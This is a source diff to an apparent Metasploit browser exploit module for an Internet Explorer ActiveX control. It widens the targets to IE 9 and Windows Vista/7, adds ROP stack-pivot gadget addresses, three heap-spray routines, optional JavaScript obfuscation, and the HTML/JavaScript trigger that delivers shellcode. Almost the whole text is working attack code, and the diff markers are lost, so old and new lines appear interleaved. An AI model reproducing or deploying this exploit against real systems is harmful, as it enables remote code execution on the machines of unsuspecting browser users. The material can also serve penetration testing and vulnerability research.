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@@ -15,12 +15,12 @@ class Metasploit3 < Msf::Exploit::Remote
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "8.0",
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:ua_maxver => "9.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:classid => "{f6D90f11-9c73-11d3-b32e-00C04f990bb4}",
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:method => "definition",
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:rank => NormalRanking
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:rank => GoodRanking
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})
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def initialize(info={})
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@@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none",
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'ExitFunction' => "process",
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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@@ -67,20 +67,23 @@ class Metasploit3 < Msf::Exploit::Remote
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'IE 6 on Windows XP SP3',
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{
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'Offset' => '0x100',
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'Rop' => nil
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'Rop' => nil,
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'RandomHeap' => false
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}
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],
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[
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'IE 7 on Windows XP SP3',
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'IE 7 on Windows XP SP3 / Vista SP2',
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{
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'Offset' => '0x100',
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'Rop' => nil
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'Rop' => nil,
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'RandomHeap' => false
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}
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],
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[
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'IE 8 on Windows XP SP3',
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{
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'Rop' => :msvcrt,
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'RandomHeap' => false,
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'RopChainOffset' => '0x5f4',
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'Offset' => '0x0',
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'StackPivot' => 0x77c15ed5, # xchg eax, esp # ret # from msvcrt.dll
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@@ -90,19 +93,31 @@ class Metasploit3 < Msf::Exploit::Remote
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'IE 8 with Java 6 on Windows XP SP3',
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{
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'Rop' => :jre,
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'RandomHeap' => false,
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'RopChainOffset' => '0x5f4',
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'Offset' => '0x0',
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'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
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}
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],
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[
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'IE 8 with Java 6 on Windows 7 SP1',
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'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',
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{
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'Rop' => :jre,
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'RandomHeap' => false,
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'RopChainOffset' => '0x5f4',
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'Offset' => '0x0',
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'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
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}
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],
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[
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'IE 9 with Java 6 on Windows 7 SP1',
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{
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'Rop' => :jre,
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'RandomHeap' => true,
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'RopChainOffset' => 0x5FC,
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'Offset' => '0x0',
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'StackPivot' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll
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}
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]
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],
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'Privileged' => false,
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@@ -123,10 +138,14 @@ class Metasploit3 < Msf::Exploit::Remote
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows Vista SP2
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
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return targets[3] #IE 8 on Windows XP SP3
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
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return targets[5] #IE 8 on Windows 7 SP1
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elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
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return targets[5] #IE 8 on Windows 7 SP1/Vista SP2
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elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
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return targets[6] #IE 9 on Windows 7 SP1
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else
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return nil
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end
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@@ -160,7 +179,13 @@ class Metasploit3 < Msf::Exploit::Remote
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def get_rop_chain(t)
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adjust = ret(t)
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if t['RandomHeap']
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adjust = [ 0x0c0c0c0c ].pack("V") # heap isn't filled with pointers to 0x0c0c0c0c
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adjust << ret(t)
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else
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adjust = ret(t)
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end
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adjust << popret(t)
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adjust << [ t['StackPivot'] ].pack("V")
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adjust << ret(t) * 4 # first call to a "ret" because there is a good gadget in the stack :)
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@@ -219,6 +244,120 @@ class Metasploit3 < Msf::Exploit::Remote
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return code
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end
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def get_easy_spray(t, js_code, js_nops)
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{t['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var z=1; z < 0x230; z++) {
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heap_obj.alloc(block);
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}
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JS
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return spray
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end
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def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)
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spray = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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var nops_90 = unescape("#{js_90_nops}");
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var rop_chain = unescape("#{js_rop}");
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while (nops.length < 0x80000) nops += nops;
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while (nops_90.length < 0x80000) nops_90 += nops_90;
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var offset = nops.substring(0, #{t['Offset']});
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var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);
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var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var z=1; z < 0x230; z++) {
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heap_obj.alloc(block);
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}
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JS
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return spray
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end
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# Spray published by corelanc0d3r
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# Exploit writing tutorial part 11 : Heap Spraying Demystified
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# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
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def get_random_spray(t, js_rop, js_code, js_90_nops)
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spray = <<-JS
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function randomblock(blocksize)
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{
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var theblock = "";
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for (var i = 0; i < blocksize; i++)
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{
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theblock += Math.floor(Math.random()*90)+10;
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}
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return theblock;
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}
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function tounescape(block)
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{
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var blocklen = block.length;
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var unescapestr = "";
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for (var i = 0; i < blocklen-1; i=i+4)
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{
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unescapestr += "%u" + block.substring(i,i+4);
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}
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return unescapestr;
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}
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var heap_obj = new heapLib.ie(0x10000);
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var rop = unescape("#{js_rop}");
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var code = unescape("#{js_code}");
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var nops_90 = unescape("#{js_90_nops}");
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while (nops_90.length < 0x80000) nops_90 += nops_90;
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var offset_length = #{t['RopChainOffset']};
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for (var i=0; i < 0x1000; i++) {
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var padding = unescape(tounescape(randomblock(0x1000)));
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while (padding.length < 0x1000) padding+= padding;
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var junk_offset = padding.substring(0, offset_length - code.length);
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var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
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while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
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sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
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heap_obj.alloc(sprayblock);
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}
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JS
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return spray
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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@@ -235,66 +374,28 @@ class Metasploit3 < Msf::Exploit::Remote
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
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if my_target['Rop'].nil?
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js_shellcode = "var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);"
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else
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if not my_target['Rop'].nil?
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js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))
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js_shellcode = <<-JS_ROP
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var rop_chain = unescape("#{js_rop}");
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var nops_padding = nops.substring(0, #{my_target['RopChainOffset']}-code.length-offset.length);
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var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);
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JS_ROP
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js_shellcode = js_shellcode.gsub(/^\t\t\t/, '')
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end
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js = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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var nops_90 = unescape("#{js_90_nops}");
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while (nops.length < 0x80000) nops += nops;
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while (nops_90.length < 0x80000) nops_90 += nops_90;
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var offset = nops.substring(0, #{my_target['Offset']});
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#{js_shellcode}
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var z=1; z < 0x230; z++) {
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heap_obj.alloc(block);
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}
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JS
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if my_target['RandomHeap']
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js = get_random_spray(my_target, js_rop, js_code, js_90_nops)
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elsif not my_target['Rop'].nil?
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js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)
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else
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js = get_easy_spray(my_target, js_code, js_nops)
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end
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js = heaplib(js, {:noobfu => true})
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object_id = rand_text_alpha(4)
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js_trigger = <<-TRIGGER
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var obj = document.getElementById('#{object_id}').object;
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var src = unescape("%u0c08%u0c0c");
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while (src.length < 0x1002) src += src;
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src = "\\\\\\\\xxx" + src;
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src = src.substr(0, 0x1000 - 10);
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var pic = document.createElement("img");
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pic.src = src;
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pic.nameProp;
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obj.definition(1000);
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TRIGGER
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js_trigger = heaplib(js_trigger, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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js_trigger =::Rex::Exploitation::JSObfu.new(js_trigger)
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js_trigger.obfuscate
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end
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object_id = rand_text_alpha(4)
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html = <<-EOS
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<html>
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<head>
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@@ -305,7 +406,15 @@ class Metasploit3 < Msf::Exploit::Remote
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<body>
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<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="#{object_id}"></object>
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<script>
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#{js_trigger}
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var obj = document.getElementById('#{object_id}').object;
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var src = unescape("%u0c08%u0c0c");
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while (src.length < 0x1002) src += src;
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src = "\\\\\\\\xxx" + src;
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src = src.substr(0, 0x1000 - 10);
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var pic = document.createElement("img");
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pic.src = src;
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pic.nameProp;
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obj.definition(#{rand(999) + 1});
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</script>
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</body>
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</html>
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@@ -360,4 +469,4 @@ ChildEBP RetAddr
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020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30
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020bfa88 635be7ca mshtml!CScriptCollection::ParseScriptText+0x219
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=end
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=end
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